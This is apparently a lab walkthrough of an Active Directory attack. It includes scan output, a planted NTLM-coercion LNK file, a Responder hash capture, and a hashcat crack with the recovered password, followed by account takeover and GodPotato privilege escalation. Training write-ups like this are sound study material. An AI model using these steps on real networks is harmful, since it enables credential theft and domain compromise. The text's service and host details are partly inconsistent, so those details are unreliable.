Skip to content

ShareThePain Walkthrough

Lab Name: ShareThePain
Difficulty: Medium
Author: Ryan Yager
Lab Link: ShareThePain

Objective: We are testing the client’s Active Directory environment as part of the Hack Smarter Red Team, looking for weaknesses that let us take control of the domain.

Initial Access: We have network access but no credentials.

Execution: We need to enumerate services, gain an initial foothold, and escalate to full domain compromise.


We scan the target host for exposed services.

Terminal window
rustscan -a 10.1.216.52 -- -A
Output
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack ttl 126 Simple DNS Plus
88/tcp open kerberos-sec syn-ack ttl 126 Microsoft Windows Kerberos (server time: 2026-01-16 07:17:13Z)
135/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 126 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 126 Microsoft Windows Active Directory LDAP (Domain: hack.smarter0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds? syn-ack ttl 126
464/tcp open kpasswd5? syn-ack ttl 126
593/tcp open ncacn_http syn-ack ttl 126 Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped syn-ack ttl 126
3268/tcp open ldap syn-ack ttl 126 Microsoft Windows Active Directory LDAP (Domain: hack.smarter0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped syn-ack ttl 126
3389/tcp open ms-wbt-server syn-ack ttl 126 Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: HACK
| NetBIOS_Domain_Name: HACK
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: hack.smarter
| DNS_Computer_Name: DC01.hack.smarter
| DNS_Tree_Name: hack.smarter
| Product_Version: 10.0.20348
|_ System_Time: 2026-01-16T07:18:21+00:00
|_ssl-date: 2026-01-16T07:18:30+00:00; -1s from scanner time.
5985/tcp open http syn-ack ttl 126 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf syn-ack ttl 126 .NET Message Framing
47001/tcp open http syn-ack ttl 126 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC
49665/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC
49666/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC
49667/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC
49672/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC
49675/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC
49676/tcp open ncacn_http syn-ack ttl 126 Microsoft Windows RPC over HTTP 1.0
49677/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC
49680/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC
49713/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC
49724/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC
49884/tcp open msrpc syn-ack ttl 126 Microsoft Windows RPC

The scan indicates that the target is an Active Directory Domain Controller.

  • Kerberos, LDAP, SMB, WinRM, and RPC services are exposed.
  • The host belongs to the hack.smarter domain.

We can focus our enumeration on Active Directory.

Next, we can enumerate the SMB shares to identify any misconfigurations.

Terminal window
smbclient -L //hack.smarter/

Discovered SMB shares:

Output
NETLOGON
Share
SYSVOL
Terminal window
smbclient //hack.smarter/share
  • The Share directory is writable, so we can try NTLM coercion through a watering hole attack.

We generate a malicious LNK file using ntlm_theft.

image.png

  • When a user browses the share, Windows automatically attempts to authenticate to the remote path embedded in the LNK file. This behavior causes NTLM credentials to be sent to the attacker-controlled system.
  • We upload the malicious file to the writable share and monitor for incoming authentication attempts.

1.4 Capturing NTLM Authentication with Responder

Section titled “1.4 Capturing NTLM Authentication with Responder”

While waiting, we can start Responder on our attack machine.

Terminal window
sudo responder -I tun0
Output
bob.ross::HACK:41c98b020feb71fc:45D393A1B854CAEABA1B94572D140921:0101000000000000809A138CE586DC01AD2BC8F9A6E762A00000000002000800350057004C00430001001E00570049004E002D0055004300500033004E0043003900560059004100350004003400570049004E002D0055004300500033004E004300390056005900410035002E00350057004C0043002E004C004F00430041004C0003001400350057004C0043002E004C004F00430041004C0005001400350057004C0043002E004C004F00430041004C0007000800809A138CE586DC0106000400020000000800300030000000000000000100000000200000A3BF937B41CBA2B9F4CF006E961C1F8335959026675A9FE704F2849858FB5CBB0A001000000000000000000000000000000000000900220063006900660073002F00310030002E003200300030002E00330030002E00360037000000000000000000
  • Responder successfully captures an NetNTLMv2 challenge-response for the user bob.ross.

Now that we have a hash, we can attempt to crack it using Hashcat.

Terminal window
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt --show
Output
BOB.ROSS::HACK:41c98b020feb71fc:45d393a1b854caeaba1b94572d140921:0101000000000000809a138ce586dc01ad2bc8f9a6e762a00000000002000800350057004c00430001001e00570049004e002d0055004300500033004e0043003900560059004100350004003400570049004e002d0055004300500033004e004300390056005900410035002e00350057004c0043002e004c004f00430041004c0003001400350057004c0043002e004c004f00430041004c0005001400350057004c0043002e004c004f00430041004c0007000800809a138ce586dc0106000400020000000800300030000000000000000100000000200000a3bf937b41cba2b9f4cf006e961c1f8335959026675a9fe704f2849858fb5cbb0a001000000000000000000000000000000000000900220063006900660073002f00310030002e003200300030002e00330030002e00360037000000000000000000:137Password123!@#

The password cracked successfully.

  • Username: bob.ross
  • Password: 137Password123!@#

The recovered password was weak enough to crack with a common wordlist.

We check the recovered credentials before continuing.

image.png

  • Since authentication succeeds, we can now perform authenticated Active Directory enumeration.

Dumping Active Directory Objects

With valid credentials, we can dump AD objects using nxc and ingest them into BloodHound.

image.png

Analyzing the Dumped Data

image.png

  • BloodHound analysis reveals that bob.ross has GenericAll permissions over the user alice.wonderland.

With GenericAll, we can:

  • Reset the user’s password.
  • Modify servicePrincipalName (SPN).
  • Modify userAccountControl.
  • Add shadow credentials (msDS-KeyCredentialLink).
  • Add the user to privileged groups if they control group membership elsewhere.
  • Enable disabled accounts.
  • Abuse certificate-based authentication (AD CS).

Because GenericAll includes the ResetPassword right, we can reset the password for alice.wonderland.

image.png

  • In a real-world assessment, shadow credentials would be preferred for stealth. For this lab, a direct password reset is sufficient.

After resetting the password, we can authenticate as alice.wonderland.

image.png

  • Since the login succeeds, we can continue enumerating from Alice’s context.

Using BloodHound again, we can identify the next attack paths.

image.png

  • The user alice.wonderland is a member of the Remote Management Users group, enabling WinRM access.

We connect to WinRM using Evil-WinRM.

image.png

The login works.

User Flag

image.png

  • No immediate privilege escalation paths were found using whoami /priv.

image.png

  • Local service enumeration revealed a MySQL service bound internally.

We use Chisel to tunnel to the internal MySQL service.

Client Setup:

image.png

  • Transfer chisel.exe to target machine and start the client to proxy the traffic.

Server Setup:

image.png

  • With the client running, traffic is forwarded to our attack machine.

image.png

  • Confirmed access to the MySQL service.
  • Identified that alice.wonderland is a local administrator on the MSSQL server.

Service Name Enumeration:

image.png


image.png

We can abuse this privilege using GodPotato.exe.

  • SeImpersonatePrivilege lets us impersonate a more privileged token.
  • We use GodPotato.exe to reach NT AUTHORITY\SYSTEM.
  • A shell launched with the impersonated SYSTEM token runs as NT AUTHORITY\SYSTEM, a different identity from the Administrator account.

We use GodPotato.exe to retrieve the root flag.

image.png

The elevated execution retrieves the root flag. Record the host and token identity when describing impact: SYSTEM on a member server does not by itself establish domain-wide control.


  • A malicious LNK file coerced NTLM authentication.
  • The captured credentials were cracked offline.
  • Excessive Active Directory permissions let us take over another account.
  • WinRM provided remote access for lateral movement.
  • We escalated privileges through SeImpersonatePrivilege.

Thanks to Ryan Yager and Hack Smarter Labs for creating a detailed and well-designed lab.